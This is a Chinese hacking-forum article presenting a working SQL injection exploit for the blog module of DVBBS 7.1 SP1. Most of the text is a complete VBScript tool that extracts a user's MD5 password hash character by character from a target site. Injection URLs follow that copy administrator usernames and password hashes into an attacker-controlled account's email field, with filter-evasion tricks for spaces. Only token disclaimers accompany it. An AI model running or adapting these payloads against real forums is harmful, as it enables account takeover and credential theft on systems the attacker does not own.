文章作者:Execsl
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
首先说明一下,此漏洞不支持中文博客名称。
原因是Cls_Main.asp中获得boke.asp参数是通过以下语句实现的
bbs\boke\目录 Cls_Main.asp文件第34行
ArchiveLink = Lcase(Request.ServerVariables("QUERY_STRING"))
ArchiveLink 中的字符以utf-8方式编码,中文等都被转化成%xx%xx形式,空格也被转化为%20
所以当时写的 ASP利用程序 中的“'”与关键字“and”中间没写空格,为的就是避开%20
后来在www.cnbct.org看到可以使用“/**/”注释语法 或“%09”来避开空格,
避开空格后,用UPDATE语句就可以轻松获得DVBBS V7.1 SP1 SQL版的后台控制权限
下面是DVBBS V7.1 SP1 ACCESS版 Boke注入漏洞 VBS利用程序的代码
'============================================================================
'DVBBS V7.1 Boke 注入漏洞利用工具
'使用说明:
' 在命令提示符下:
' cscript.exe blog.vbs 要攻击的网站的博客路径 要破解的博客用户密码
'如:
' cscript.exe blog.vbs www.xxxx.com/bbs/boke.asp admin
' by execsl 2006.5.4
'============================================================================
On Error Resume Next
Dim oArgs
Dim oBokeXML 'XMLHTTP对象用来打开目标网址
Dim TargetURL '目标网址
Dim BlogName '博客用户名
Dim TempStr '存放已获取的部分 MD5密码
Dim CharHex '定义16进制字符
Set oArgs = WScript.arguments
If oArgs.count < 2 Then Call ShowUsage()
Set oBokeXML = CreateObject("Microsoft.XMLHTTP")
'补充完整目标网址
TargetURL = oArgs(0)
If LCase(Left(TargetURL,7)) <> "http://" Then TargetURL = "http://" & TargetURL
If right(TargetURL,1) <> "?" Then TargetURL = TargetURL & "?"
BlogName=oArgs(1)
TempStr=""
CharHex=Split("0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f",",")
Call main(TargetURL,BlogName)
Set oBokeXML = Nothing
'----------------------------------------------sub-------------------------------------------------------
'============================================
'函数名称:main
'函数功能:主程序,注入获得Boke 用户密码
'============================================
Sub main(TargetURL,BlogName)
Dim MainOffset,SubOffset,TempLen,OpenURL,GetPage
For MainOffset = 1 To 16
For SubOffset = 0 To 15
TempLen = 0
OpenURL = TargetURL & BlogName & "'and'" & TempStr & CharHex(SubOffset) & "'=left(password," &MainOffset& ")and''='.index.html"
oBokeXML.open "Get",OpenURL, False, "", ""
oBokeXML.send
GetPage = BytesToBstr(oBokeXML.ResponseBody)
'判断访问的页面是否存在
If InStr(GetPage,"<title>无法找到网页</title>")=0 And InStr(GetPage,"您正在搜索的网页可能已经删除、更名或暂时不可用。</font>")=0 Then
'“博客用户不存在或填写的资料有误” 为错误标志 ,返回此标志说明 猜解的 MD5 不正确
'如果得到 0000000000000000 的 MD5 值,请修改错误标志
If InStr(GetPage,"博客用户不存在或填写的资料有误")=0 Then
TempStr=TempStr & CharHex(SubOffset)
WScript.Echo " 已获取的MD5值为:" &CStr(TempStr) &" 其他密码正在读取中,请等待。。。"
Exit for
End if
Else
WScript.echo vbcrlf & "您输入的网址无法访问,请确认后重新输入。" & vbcrlf
WScript.echo vbcrlf & "本程序只用于学习交流,不能用于其非法用途。"& vbcrlf &"因使用本程序引起的一切后果和责任由使用者自负"
WScript.Quit
End If
next
Next
WScript.Echo " 成功读取密码的MD5值,为:" & TempStr & "请不要使用本程序进行破坏行为!"
End sub
'============================================
'函数名称:BytesToBstr
'函数功能:将XMLHTTP对象中的内容转化为GB2312编码
'============================================
Function BytesToBstr(body)
dim objstream
set objstream = CreateObject("ADODB.Stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = "GB2312"
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
'============================
'函数名称:ShowUsage
'函数功能:使用方法提示
'============================
Sub ShowUsage()
WScript.echo " DVBBS v7.1 Boke 利用程序" & vbcrlf & " By Execsl 06.4.23"
WScript.echo "Usage:"& vbcrlf & " CScript " & WScript.ScriptFullName &" TargetURL BlogName"
WScript.echo "Example:"& vbcrlf & " CScript " & WScript.ScriptFullName &" www.xxxx.com/bbs/boke.asp admin"
WScript.echo ""
WScript.Quit
End Sub
[Copy to clipboard]
您可以在这里下到该程序的vbs文件
http://www.sdibt.edu.cn/jgsz/jwc/admin/help/blog.vbs也可以在文章末尾下到
下面是DVBBS V7.1 SP1 Boke注入漏洞 SQL版获得管理员密码的SQL语句,
当然大家可以直接把的管理员密码改成自己的密码,不过这样就太不厚道了
希望大家不要搞破坏!搞破坏RP大大地坏!
将用户表Dv_User中 admin密码放到 用户 execsl 的Email 中
http://www.xxxx.com/boke.asp?admin'update/**/Dv_User/**/set/**/UserEmail=(select[Password]from/**/Dv_admin/**/where[Username]='admin')/**/where[UserName]='execsl';--.index.html
将管理员表Dv_admin中 第一个用户的用户名放到 用户 execsl 的Email 中
http://www.xxxx.com/boke.asp?admin'update/**/Dv_User/**/set/**/UserEmail=(select/**/top/**/1/**/[Username]from/**/Dv_admin)/**/where[UserName]='execsl';--.index.html
将管理员表Dv_admin中 第一个用户的密码放到 用户 execsl 的Email 中
http://www.xxxx.com/boke.asp?admin'update/**/Dv_User/**/set/**/UserEmail=(select/**/top/**/1/**/[Password]from/**/Dv_admin)/**/where[UserName]='execsl';--.index.html
http://www.xxxx.com/boke.asp?admin'update/**/Dv_User/**/set/**/UserEmail=(select[UserPassword]from/**/Dv_admin/**/where[id]=1)/**/where[UserName]='execsl';--.index.html
